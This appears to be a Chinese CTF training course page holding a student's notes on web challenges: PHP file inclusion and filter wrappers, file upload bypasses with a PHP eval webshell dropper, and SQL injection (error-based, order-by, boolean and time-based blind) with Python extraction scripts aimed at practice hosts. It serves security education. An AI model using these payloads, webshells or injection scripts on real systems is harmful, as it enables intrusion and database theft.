默认教学计划
1839人加入学习
(5人评价)
CTF从入门到提升

入选《爆款好课TOP榜》

价格 ¥ 499.00
音频听课 手机端支持一键听课 (试一试)
该课程属于 网络安全公益-高校篇 请加入后再学习

伪协议:
readfile()
file()
file get contents()

chinalover.sinaapp.com/web7/index.php
?file=php://filter/convert.base64-encode/resource=index.php

?file=php://filter/convert.base64-encode/resource=index.php

PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=

 

<html>
    <title>asdf</title>
    
<?php
    error_reporting(0);
    if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file);
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

 

106.12.37.37:10008/index.php.bak
106.12.37.37:10008/?key=&flag=

106.12.37.37:10008/?key=123&flag=php://input

日志文件:

cd /var/log

www.youtube.com/watch?v=dlh0ogYy9ys

 
 
 
 
 
 
 
 
[展开全文]

文件包含:
index.php?paage=aaa&func=bbb
相关函数:
include() //错误也要执行
include_once() 
require()
require_once()

<?php

$a='phpinfo.php';
include ($a);

>

远程文件包含
本地文件包含

包含的时候,不一定是要去包含php文件:
类似:a.phps/a.xxx/a.jpg
只要里头包含一块完整php代码
例如:一个a.txt,内容为<?php phpinfo(); ?>

123.206.31.85:49166/index.php?file=hello.php
123.206.31.85:49166/index.php?file=/etc/passwd

伪协议:

http://106.12.37.37:10007/index.php?url=upload
自己包含自己:
http://106.12.37.37:10007/index.php?url=include

zip://archive.zip#dir/file.txt


phar:

 

 
 
 
 
 
 
 
 
[展开全文]

服务端校验:
后缀名白名单校验:
106.12.37.37:10004

服务端校验:
文件内容头校验:
getimagesize();


绕过方法:

在恶意脚本前加上允许上传文件的头标识

 

竞争上传:

趁代码不注意,赶紧访问!
(在删掉之前访问到就可以了)

106.12.37.37:10005
 

生小崽:
<?php
$file='web.php';
$shell=='<?php eval($_POST["key"])?>';
file_put_contents($file,$shell);
>

 
 
 
插件:noscript
 
 
 
 
[展开全文]

文件上传:

客户端校验:js校验

绕过方法:
抓包改包,禁用JS。

 
 
106.12.37.37:10001
服务端校验:content-type字段校验
MIME类型检测
MIME使用一个简单的字符串组成,最初是为了标识邮件Email附件的类型,在html文件中科院使用content-type属性表示,描述了文件类型的互联网标准。

绕过方法:
抓包改content-type字段
改文件名后上传抓包后再改回文件名
上传正常文件该文件内容
反正最终目的就是一个content-type是正确的就可以
http://106.12.37.37:10002/

服务端校验:后缀名黑名单校验
绕过方法:大小写绕过,例如Php、PhP
利用黑名单中没有的,但是又能够被解析的后缀名,例如php、php3\php4\php5、php7、pht、phtml、phps

http://106.12.37.37:10003/

.htaccess



使用00截断:
基于一个组合逻辑漏洞造成的,通常存在于构造上传文件路径的时候
超长文件名截断上传(windows 258byte|linux 4096byte)

 
 
 
 
 
 
 
 
 
[展开全文]

desc注入
{describe|desc} tbl_name [col_name |wild]
describe提供有关一个表的列信息。col_name可以是一个列名或是一个包含sql通配符字符 “%”和“_”的字符串。

web.jarvisoj.com:32794

查看源代码:http://web.jarvisoj.com:32794/index.php~

get $table
$ret[0]

mysqli_query($mysqli,"desc `secret_{$table}`")
$sql = "select 'flag{xxx}' from secret_{$table}";

desc secret_$table
$table=aa union select 1,2,3

反引号用于保留字符  ‘’
from secret_{$table} union select 1

desc 'from secret_{$table} union select 1'

desc 'from secret_{$table} ‘  ’union select 1'

http://web.jarvisoj.com:32794/index.php?table=test` `union select database() limit 1 offset 1

http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1 offset 1

secret_flag,secret_test

http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(column_name) from information_schema.columns where table_name=secret_flag limit 1 offset 1
(这样是不行的,需要给表名进制转换)

http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1 offset 1

列名: flagUwillNeverKnow

http://web.jarvisoj.com:32794/index.php?table=test` `union select flagUwillNeverKnow from secret_flag limit 1 offset 1

万能密码:

select * from admin where username='' and password =''
admin' # '+' '+' 0
Aaa'='

 

[展开全文]

insert 插入

报错语法:(报错就能把数据库带出来)也能插进去。
insert into data1 (id,name,year) values ('','attacker' or updatexml(1,concat(0x7e,database()),0),10);

update:更新
报错语法:(报错就能把数据库带出来)
update data1 set year=11 or updatexml(1,concat(0x7e,database()),0) where id =7;

delete:删除(报错就能把数据库带出来)
delete from data1 where id =7 or updatexml(1,concat(0x7e,database()),0);

chall.tasteless.eu/level15/index.php
insert into (name,text) values (' ',' ');

'
#
\
 

[展开全文]

order by 的注入:

order by 语句

使用order by 子句对查询返回的结果按一列或多列排序。

order by 子句的语法格式为:

order by {column_name [ASC|DESC]}[,  n]

order by 语句默认按照升序对记录进行排序

select * from data1 order by id asc,name,year

在不知道列名的情况下可以用通过列的序号来指代相应的列。但是经过测试这里无法做出运算,如order=3-1和order=2是不一样的。

**当order by 注入能过放回错误信息时,也可以考虑使用呢报错注入

**根据不同的列排序,会返回不同的结果,因此这里其实可以使用雷士于bool型盲注的形式来注入,及时判断的结果与某种返回内容相关联,来实现注入,同理,在bool型注入可以的情况下,一般也能使用基于时间的盲注

select * from data1 order by if(1,name,year)

order by 可以根据多列排序,因此注入的语句不一定限制于order by的第一个参数,也可以通过逗号去对新的列进行注入

chall.tasteless.eu/level1/index.php?dir=ASC

 

 

1.py:

import requests

dic="qwertyuiop[]asdfghjjkl;QWERTYUYIOPASDFFGHJKLZXCVVBNMl'\zxcvbnm,./!@#$%^&*((()_+0123456789"

flag="^"

common_url="https://chall.tasteless.eu/level1/index.php?dir=|1"

common_content=requests.get(common_url,proxies={'http':'socks5://127.0.0.1:1080','https':'socks5://127.0.0.1:1080'}).content

for i in range(50):

  for letter in dic:

    payload=flag+letter

    url="chall.tasteless.eu/level1/index.php?dir=|(select(flag from level1_flag) regexp"+"'"+payload+"'""+")%2b1"

    print(url)

    content=requests.get(url,proxies={'http':'socks5://127.0.0.1:1080','https':'socks5://127.0.0.1:1080'}).content

    if(content!=common_content):

      flag=payload

      print(flag)

      break

[展开全文]

bool型盲注:

截取函数
mid()函数

mid(column_name,start[,length])

column_name:必需,要提取字符的字段
start:必需,规定开始位置(起始值是1)。
length:可选,要返回的字符数。如果省略,则MID()函数返回剩余文本。

select mid('abcde' from 3 for 1);

select mid('abcde',1,1)

left(str,length)从左开始截取字符串

说明:left(被截取字段,截取长度)

right(str,length) 从右开始截取字符串

说明:right(被截取字段,截取长度)

select left('abcde',1)

ascii()函数  //返回ascii值
ord()函数   //返回ascii值

106.12.37.37:8080/level2

 

 

(ascii(substr((select/**/password/**/from/**/user)/**/from/**/1/**/for/**/1))<127)

1.py:

import requests

dicts='abcdefghijklmnopqrstuvwxyz0123456789'

flag=''

for x in xrange(1,50):

  for i in dicts:

    url='http://106.12.37.37:8080/level2/index.php?token=21232f297a57a5a743894a0e4a801fc3&userid=(ascii(substr((select/**/password/**/from/**/user)/**/from/**/%d/**/for/**/1))=%d)&password=1' %(x,ord(i))

    try:

      response=requests.get(url,timeout=5)

      if response.content.find('error password!') != -1:

        flag=flag+i

        print flag

        break

    except Exception,e:

      pass

print flag

 

 

219d03ad2d752ad2806ea1de18613158

flag{b75079652c058c54f066e158727cd494}

 

[展开全文]

http://ctf5.shiyanbar.com/web/wonderkun/index.php

http://ctf5.shiyanbar.com/web/baocuo/index.php

Modify Header Value (HTTP Headers)

 

 X-Forwarded-For

X-Forwarded-For: 127.0.0.1

X-Forwarded-For: 127.0.0.1' and sleep(3) or '1

X-Forwarded-For: 127.0.0.1' and (select case when ascii(substring((select database()) from 1 for 1))=119 then sleep(6) else 1 end ) or '1

py:

import requests

url='http://ctf5.shiyanbar.com/web/wonderkun/index.php'

dic='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_@#$%^&*()'

flag=''

for i in xrange(1,50):

  for x in dic:

    headers={"X-Forwarded-For":"x' + (select case when substring((select database()) from %d for 1)='%s' then sleep(6) else 1 end ) or '1" %(i,x)}

  try:

    res=requests.get(url,headers=headers,timeout=6)

  except requests.exceptions.ReadTimeout,e:

    flag=flag+x

    print flag

    break

print flag

 

baocuo:

username=0' || /*

&password=*/ if((select value from ffll44jj) regexp '^fl',(select count(*) from information_schema.columns A,information_schema.columns B, information_schema.columns C),0) or '0

 

 

 

[展开全文]

sleep();  //延时

变慢存在注入。

select * from user where id =1 and sleep(5);

配合if条件触发:

if(expr1,expr2,expr3)

如果expr1是ture(eexpr1<>0 and expr1 <>null),则if()的返回值为expr2;否则返回值为expr3。if()的返回值为数值值或字符串值。

select * from table where id =1 and if(database()=' ',sleep(4), null)

-------------------

截取函数:

substring()和substr():

substring(str,pos),

substring(str from pos)

substring(str,pos,len),

substring(str from pos for len)

substr(string,start,length)

参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

substring_index()

substring_index(str,delim,count)

说明:usbstring_index(被截取字段,关键字,关键字出现的次数)

例:

select * from user where username='a' or if(substr((select username form user where id=1),1,1)='a',sleep(3),0);//如果有延时,就说明第一个字母是a;(触发了这个判断逻辑)

 

rlike\regexp\

select case when 条件触发:

[case when 条件 then 效果]

例:select case when username='admin' then 'aaa' else (sleep(3)) end from user;

 

逐字注入:能够截取字符,同时能触发延时即可

select* from table where id = 1 and (if (substr(database(),1,1)=' ',sleep(4),null))

select* from table where id = 1 and if(acsii(substr(database(),1,1)=100,sleep(4),null))

除了sleep之外的延时:

benchmark(count,expr)

benchmark()函数重复count 次执行表达式expr。

它可以被用于计算Mysql处理表达式的速度。结果值通常为0;

select benchmark(100000,sha(1));

 

笛卡尔积\

GET_LOCK(str,timeout)

函数说明:设法使用字符串str给定的名字得到一个锁,超时未timeout秒。

select GET_LOCK(' a' ,1)

[展开全文]

or updatexml(1,concat(0x7e,(version())),0)

updatexml第二个参数需要的是Xpath格式的字符串。输入不合符,因此报错

updatexml的最大长度是32位

and extractvalue(1,concat(0x7e,(select database())))

and exp(~(select * from(select user()) a ));

 

等号过滤绕过:

like关键字、!(<>)、regexp正则表达式

[展开全文]

floor(rand(0)*2)

insert floor(rand(0)*2) to key

0不存在,1才调用。

两次插入的值就会报错

select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x) a;

 

updatexml:

or updatexml(1,concat(0x7e,(version())),0)

and extractvalue(1,concat(0x7e,(select database())))

and exp(~(select * from(select user())a));

 

[展开全文]

CTF两种竞赛模式:

(1)解题模式(jeopardy)

(2)攻防模式(Attack-Defense)

GBK

GBK全程《汉字内码扩展规范》(GBK即“国际”、“扩展”汉语拼音的第一个字母,英文名称:Chinese Internal Code Specification)

URL转码:空格(%20)'(%27)#(%23)、(%5c)

 

[展开全文]

授课教师

课程特色

视频(60)
下载资料(15)